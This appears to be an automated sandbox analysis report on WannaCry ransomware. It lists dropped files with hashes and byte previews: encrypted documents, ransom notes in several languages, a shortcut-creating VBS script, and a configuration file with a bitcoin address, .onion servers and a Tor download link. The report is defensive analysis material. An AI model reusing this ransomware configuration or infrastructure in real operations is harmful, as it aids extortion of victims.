                                                                                                                        Entropy (8bit):7.835491077877244
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2//HYVb307aidt0U9icS3yMZ2B+tIkLtuOHZD2CBze7oboju:bkSYVbkbogEhs+ak75D2C470oju
                                                                                                                        MD5:B6576B68CF212A2BA823EDB70C45270F
                                                                                                                        SHA1:363DA29B67D65AE53FF5C315953F4C8C48FB4BD6
                                                                                                                        SHA-256:8FB231088F327F909D6E0BBE896C0457F5D6380F4D7BF3BDD9A26B5115BE3F70
                                                                                                                        SHA-512:11E3EE315283831D984A259D6EC6C1048419D8F81D5A8AA63C8B2BE53C0162C68A1201F92527B60D4FFDF4BCA8B3C2665C59849F016C295380165851883A4E98
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......:..._...Y.H...7.t.o...md..4..F#4..-{a...l.Bs(..M#..&rx...W...N..)y...#.T.JO..a..B.Yr..yJ.SQ.A=llW..=..y.>...u.C..o\.s.J..m...SA.}~}2J.1..g.kz...uE.*.B,..$%..W.....T....U..WcgALX.E.....|t..L(..<.BG.4$s.D.S..QC.......".1G...%4R.j1Yc...2..t.~?.x...............M+(;....vs...g..r.....[Y.-0..+v..C.b.t.!.."...f'[..%v...TL.Ey.t.D.....th.=J{.gDo....I........NQ.....7..l.o..t..pA.Ert....o53A..'....K..~....u]m...r...|...9.O..l.8..h....Z.$..\.n.....;.u@.m........Gw.^-O.ug..G..",P)-T...*..F.R#.ao..JS.X...C..D..x.......M..k..kN.=z..:f\....[....o$......V.&=6?+0u.F(..y.c....9.L..kZk..)..8..<..A..c Q.i.g\F.j.uB.5.Ch...H.v..u.."..n....Yf...d.y=..K....S|.v\&.\.i.$ri.$$..sv...+.)..:.0.`..G.....gy..PWS.A.....o /.A.....xp.R..G...<5....xA......O2.B.C.H[.u.pUr3..].W..6H.Jq.wL...D.L..(..zV(..3.8.. ..........e..P.e ..d.p.j...Wv..5j...{.....Z.D...Y......>...U.%S..c9.....(....>r.]..x.s.m*.....q.....x.n.%!.F!l.3s.D.a.....1m{,...m9..eG......3....V.m6$

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.835491077877244
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2//HYVb307aidt0U9icS3yMZ2B+tIkLtuOHZD2CBze7oboju:bkSYVbkbogEhs+ak75D2C470oju
                                                                                                                        MD5:B6576B68CF212A2BA823EDB70C45270F
                                                                                                                        SHA1:363DA29B67D65AE53FF5C315953F4C8C48FB4BD6
                                                                                                                        SHA-256:8FB231088F327F909D6E0BBE896C0457F5D6380F4D7BF3BDD9A26B5115BE3F70
                                                                                                                        SHA-512:11E3EE315283831D984A259D6EC6C1048419D8F81D5A8AA63C8B2BE53C0162C68A1201F92527B60D4FFDF4BCA8B3C2665C59849F016C295380165851883A4E98
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......:..._...Y.H...7.t.o...md..4..F#4..-{a...l.Bs(..M#..&rx...W...N..)y...#.T.JO..a..B.Yr..yJ.SQ.A=llW..=..y.>...u.C..o\.s.J..m...SA.}~}2J.1..g.kz...uE.*.B,..$%..W.....T....U..WcgALX.E.....|t..L(..<.BG.4$s.D.S..QC.......".1G...%4R.j1Yc...2..t.~?.x...............M+(;....vs...g..r.....[Y.-0..+v..C.b.t.!.."...f'[..%v...TL.Ey.t.D.....th.=J{.gDo....I........NQ.....7..l.o..t..pA.Ert....o53A..'....K..~....u]m...r...|...9.O..l.8..h....Z.$..\.n.....;.u@.m........Gw.^-O.ug..G..",P)-T...*..F.R#.ao..JS.X...C..D..x.......M..k..kN.=z..:f\....[....o$......V.&=6?+0u.F(..y.c....9.L..kZk..)..8..<..A..c Q.i.g\F.j.uB.5.Ch...H.v..u.."..n....Yf...d.y=..K....S|.v\&.\.i.$ri.$$..sv...+.)..:.0.`..G.....gy..PWS.A.....o /.A.....xp.R..G...<5....xA......O2.B.C.H[.u.pUr3..].W..6H.Jq.wL...D.L..(..zV(..3.8.. ..........e..P.e ..d.p.j...Wv..5j...{.....Z.D...Y......>...U.%S..c9.....(....>r.]..x.s.m*.....q.....x.n.%!.F!l.3s.D.a.....1m{,...m9..eG......3....V.m6$

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.815396099228668
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Hh7vk6UPXu4sJIOucU8eG8/yoP7liqkxKQ+0M7Dz:Hh7sdXuxJsB+cTRiqkM1b7
                                                                                                                        MD5:C28A8F4F9195E6F96C700C02C24676F5
                                                                                                                        SHA1:F5E42FABC70227D0D8427222B3891091EAF3A7ED
                                                                                                                        SHA-256:45E084763B1D17CE9CC5733B8DCFC32827C108EF423D111147ACBE8C0399555D
                                                                                                                        SHA-512:AD0EAD9E7E607C33CA848363203952138853B501F8F73CA780D4C23573E91D6F07304BE31DE4EFB97D6666A6CCA096857CECCA777FA3EDC7F62B097DE10CE8FC
                                                                                                                        Malicious:true
                                                                                                                        Preview:.GR,...*..D(K.q..B...-@..6.3./Z`b.w.....p5........c(..l%..Gd.4...M...]...Q...(..x.....G.......n&1...:.....:.....FAHH.z.N....u.x.`~X.....YUn......0.w.!>..hN:;.. ...]e..k.].+....^_C..C!...Iq..F..T}.l(..fQ..D..T..f....K..@.....&..Y=H..#.HNc...)!..w..mF...h.@PL...@...Ux....;.).d.......l.3j.l{........1....4...J..]6......K,..Q..@:..WT:.t.m.....r..........z..f.Tr...(..2H..i......e....bG.c>.....kq......oc...z...G.-..w;K.~C.....8...a...F:.v%.8?......o.U.....|:..d..(..1.I$...-.C.....!.T@...Z^..>.?....5.U_...b..&.......n... ...c..$.x.m.......{,pM...e......+.....;.:..[]...'...._.-d..!.i]vz0.P$..[-~.6.T..h.1y9'..(yJ.y...`..g..}.G.r.o... ...\...`...H.....v09..xRyK.yBB....lA.f...h...mds.l...o..dk..AU.C.jA......d..V.*..|.....72#...#/.0HI.....iv!.o..VT}..i...g...."<E.X....Q!.J......E.....I..pGd.,..9....i..Z,u.Z..+..2C......U.=%o....n....K*..<...}&p.|.s......_HN.%x.JsT.H~....z2.........0[....0b...E#..I....b....{.N...w5.U...j.......bM...xE66/9`t.:M.^P.0.*Z

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.816364923818454
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfPP83gSzyr8LsPBqqh54bONYMAS82V7kBX0LcnnhYPuvLKUXxql+A:bkf83gSz88G3ObONYXw7kpccnnmP8pxI
                                                                                                                        MD5:3D883DF97C04810606CDC628468535F6
                                                                                                                        SHA1:7ED1F7D1474CD97258B00044191937ABBBD5943E
                                                                                                                        SHA-256:BE187D20A77E33F840509588909FF20C29E4EB3DA7AA6CB22C7BAD13E269E3D7
                                                                                                                        SHA-512:2C4AA99D7BC9273BD340E80E24E0D3627A776498C0DE58A94ECBFE8C2E5691FF30F7101A7D447BB399E4076610CE96C7E93E1154AD9517D6F7B15022F4CBA4B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....L...,..1.@.....&D.....+3...$..!....L.C..|...w.5.=.+..."M..<..X.x...!{$...E)i(.V..^W.?0/j+.`..F'...z.Y*P.....wE).h..Fz>........q.'.1.4].D.$..}.?...d.|...VN.f...Y..&.....E...b9..T ...3.......Dq$Z.,.(.....|r..*..".|..w-Vn......_...uM. ..xg.A..Y.............5...i].Y...:.L.....M.......b.l]..,.i..}D@...nN..3......\.y.....hB.Vq.N......a...T.7....#,.4.)R.?..G?}.3u./K...C.a...b...R.....; ^.(X..y.`....4....:cD,u...)....l.G..M.xl.......O....J.m.X)al..J..Tv..9.W.......GQ...L..^....h..UG,&v..s...x%T.-.f...7Jk..j..\..I....H......d...v..u.~.(....0n.o.k.S&;f.\1wJ.!y..kCX.C..Pd...S......%.....z..z.bF..o...a.Dg.....i.UM..{.@N.Z.l..<...)...Y.S...W.5.`.F.wu..b..Q..7.4.i..F.u..3k.3n:..C6z...NH..e.S^+....D..c...GmbO..Y.?Vp.......xR.N.[1.....h)`.y.e..v.$m....Z...`..(...mMA._.a...T,G...Y.3|.UEY.T.-..?.AN=....2m...4~[if...#3(&}.N^........\...=.+.Yc..f..+.6.'...2.^..l..}.'`..o..szu@..S..".Q......R..r.=d..H..$..n.x.A..c..t[*.U.d.._?2>A..*....G.T..L..,....

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.816364923818454
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfPP83gSzyr8LsPBqqh54bONYMAS82V7kBX0LcnnhYPuvLKUXxql+A:bkf83gSz88G3ObONYXw7kpccnnmP8pxI
                                                                                                                        MD5:3D883DF97C04810606CDC628468535F6
                                                                                                                        SHA1:7ED1F7D1474CD97258B00044191937ABBBD5943E
                                                                                                                        SHA-256:BE187D20A77E33F840509588909FF20C29E4EB3DA7AA6CB22C7BAD13E269E3D7
                                                                                                                        SHA-512:2C4AA99D7BC9273BD340E80E24E0D3627A776498C0DE58A94ECBFE8C2E5691FF30F7101A7D447BB399E4076610CE96C7E93E1154AD9517D6F7B15022F4CBA4B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....L...,..1.@.....&D.....+3...$..!....L.C..|...w.5.=.+..."M..<..X.x...!{$...E)i(.V..^W.?0/j+.`..F'...z.Y*P.....wE).h..Fz>........q.'.1.4].D.$..}.?...d.|...VN.f...Y..&.....E...b9..T ...3.......Dq$Z.,.(.....|r..*..".|..w-Vn......_...uM. ..xg.A..Y.............5...i].Y...:.L.....M.......b.l]..,.i..}D@...nN..3......\.y.....hB.Vq.N......a...T.7....#,.4.)R.?..G?}.3u./K...C.a...b...R.....; ^.(X..y.`....4....:cD,u...)....l.G..M.xl.......O....J.m.X)al..J..Tv..9.W.......GQ...L..^....h..UG,&v..s...x%T.-.f...7Jk..j..\..I....H......d...v..u.~.(....0n.o.k.S&;f.\1wJ.!y..kCX.C..Pd...S......%.....z..z.bF..o...a.Dg.....i.UM..{.@N.Z.l..<...)...Y.S...W.5.`.F.wu..b..Q..7.4.i..F.u..3k.3n:..C6z...NH..e.S^+....D..c...GmbO..Y.?Vp.......xR.N.[1.....h)`.y.e..v.$m....Z...`..(...mMA._.a...T,G...Y.3|.UEY.T.-..?.AN=....2m...4~[if...#3(&}.N^........\...=.+.Yc..f..+.6.'...2.^..l..}.'`..o..szu@..S..".Q......R..r.=d..H..$..n.x.A..c..t[*.U.d.._?2>A..*....G.T..L..,....

                                                                                                                        C:\Users\user\Desktop\b.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1440054
                                                                                                                        Entropy (8bit):0.3363393123555661
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                                        MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                                        SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                                        SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                                        SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                                        Malicious:false
                                                                                                                        Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\c.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):780
                                                                                                                        Entropy (8bit):2.3753716920476253
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:cD+pZkaHqHgVcKKfF9mHRMMPRGS37LlN/sUQqGUSGeTsdEC:c8maRVcKKfm2MYS3sUQqGLGeTEV
                                                                                                                        MD5:1A44E76B6DA1D3D6BDEE6E2BC9ABB4A4
                                                                                                                        SHA1:60006170DA4CF87B4108ABC3644A911CDDB756E3
                                                                                                                        SHA-256:4EF07CFDE119201ED7ED66EF4A3B52F24C87BE4F47B2AEEAEE3B6D95AEDE8ADC
                                                                                                                        SHA-512:E243DBCD66BECA411D45F2C2290132AEA79EE09A81BC14A5F4CFE20B065C3E65F599D81AFA6D27CB555727D0DAAF0D37776725D08DBC61FA2223386259C104CA
                                                                                                                        Malicious:false
                                                                                                                        Preview:............................................................................................................c..i...........C......................................................115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn................gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;.......................................................................................................................................https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip...........................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\f.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):513
                                                                                                                        Entropy (8bit):4.981928464040299
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:oRjDUBVwuVwuVwuVwuVwuVwLCbJIOb5gCwjDUBVwuVwLCbJIOFVWh5bVgR+0:oJwVwuVwuVwuVwuVwuVwub+O0wVwuVws
                                                                                                                        MD5:262C174D6AB592AE506BD1EF73616A47
                                                                                                                        SHA1:832CD44FD537303CC77D984B68223B6634BC6BE2
                                                                                                                        SHA-256:98645EC959326B67D99341AD52A73D80C9EF7A1219A702624ED845698491F06A
                                                                                                                        SHA-512:DBD6C7B017D1A16D2B111D10F2C2BC3216B89A0C35C45F1181B182DC0CEAA4D5C8D841C0843006919D5040B5B09E8CEA1F5B048351D9D463026EE575A4D04E9A
                                                                                                                        Malicious:false
                                                                                                                        Preview:C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\th[1].jpg.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.1.filtertrie.intermediate.txt.WNCRY..

                                                                                                                        C:\Users\user\Desktop\m.vbs

                                                                                                                        Download File
                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):199
                                                                                                                        Entropy (8bit):4.993433402537439
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3:gponhvDCKFcsDONy+WlynJ96JS2x9rbPONy+WlynJSK2Fvn:e+hvbnRoJgJSoPnRoJSK2Fv
                                                                                                                        MD5:BC117AC292350CB5C49A0D1660AFF679
                                                                                                                        SHA1:FB6A629B267BBF4E7E4BC63B299F92DC1E518D4D
                                                                                                                        SHA-256:E7325F2A555AE1A1694951B7782C4159013597C2D5BF480CC091C6A0E66BFC64
                                                                                                                        SHA-512:B66227CF3944AF105818176FA43F628F89E4393B372949BC86A7513E11B62209B96B169C33E836E32C8BBA4387B78844A9FB08F37F62EC1E05DEF2F2BF89B093
                                                                                                                        Malicious:true
                                                                                                                        Preview:SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

                                                                                                                        C:\Users\user\Desktop\msg\m_bulgarian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47879
                                                                                                                        Entropy (8bit):4.950611667526586
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:768:Shef3jHdCG28Eb1tyci8crbEw6/5+3xFkbP0vyzbZrS14e:SheU5De
                                                                                                                        MD5:95673B0F968C0F55B32204361940D184
                                                                                                                        SHA1:81E427D15A1A826B93E91C3D2FA65221C8CA9CFF
                                                                                                                        SHA-256:40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD
                                                                                                                        SHA-512:7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_chinese (simplified).wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):54359
                                                                                                                        Entropy (8bit):5.015093444540877
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:768:SWjkSFwwlUdcUG2HAmDTzpXtgmDNQ8qD7DHDqMtgDdLDMaDoKMGzD0DWJQ8/QoZ4:SWcwiqDB
                                                                                                                        MD5:0252D45CA21C8E43C9742285C48E91AD
                                                                                                                        SHA1:5C14551D2736EEF3A1C1970CC492206E531703C1
                                                                                                                        SHA-256:845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A
                                                                                                                        SHA-512:1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}@\'b9\'d9\'c5\'c1;}..{\f45\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}@MingLiU;}{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}..{\f54\fbidi \fmodern\fchar

                                                                                                                        C:\Users\user\Desktop\msg\m_chinese (traditional).wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):79346
                                                                                                                        Entropy (8bit):4.901891087442577
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:768:SDwtkzjHdLG2xN1fyvnywUKB5lylYlzlJpsbuEWeM/yDRu9uCuwyInIwDOHEhm/v:SDnz5Rt4D4
                                                                                                                        MD5:2EFC3690D67CD073A9406A25005F7CEA
                                                                                                                        SHA1:52C07F98870EABACE6EC370B7EB562751E8067E9
                                                                                                                        SHA-256:5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A
                                                                                                                        SHA-512:0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020

                                                                                                                        C:\Users\user\Desktop\msg\m_croatian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):39070
                                                                                                                        Entropy (8bit):5.03796878472628
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdb2YG2+d18Scgn8c8/868H1F8E8/8Z3m8VdAm86a8n:Shef3jHd3G2n+p/mZrS14A
                                                                                                                        MD5:17194003FA70CE477326CE2F6DEEB270
                                                                                                                        SHA1:E325988F68D327743926EA317ABB9882F347FA73
                                                                                                                        SHA-256:3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171
                                                                                                                        SHA-512:DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_czech.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):40512
                                                                                                                        Entropy (8bit):5.035949134693175
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2yG2gv8n8+8zfB8k8F8i8k1Z8M8I818E838C8A8s:Shef3jHd2G26nyMZrS14g
                                                                                                                        MD5:537EFEECDFA94CC421E58FD82A58BA9E
                                                                                                                        SHA1:3609456E16BC16BA447979F3AA69221290EC17D0
                                                                                                                        SHA-256:5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150
                                                                                                                        SHA-512:E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_danish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37045
                                                                                                                        Entropy (8bit):5.028683023706024
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHd02wG2roqni2Jeo75Y3kmA31dv61QyU:Shef3jHd4G2M5bZrS14Q
                                                                                                                        MD5:2C5A3B81D5C4715B7BEA01033367FCB5
                                                                                                                        SHA1:B548B45DA8463E17199DAAFD34C23591F94E82CD
                                                                                                                        SHA-256:A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6
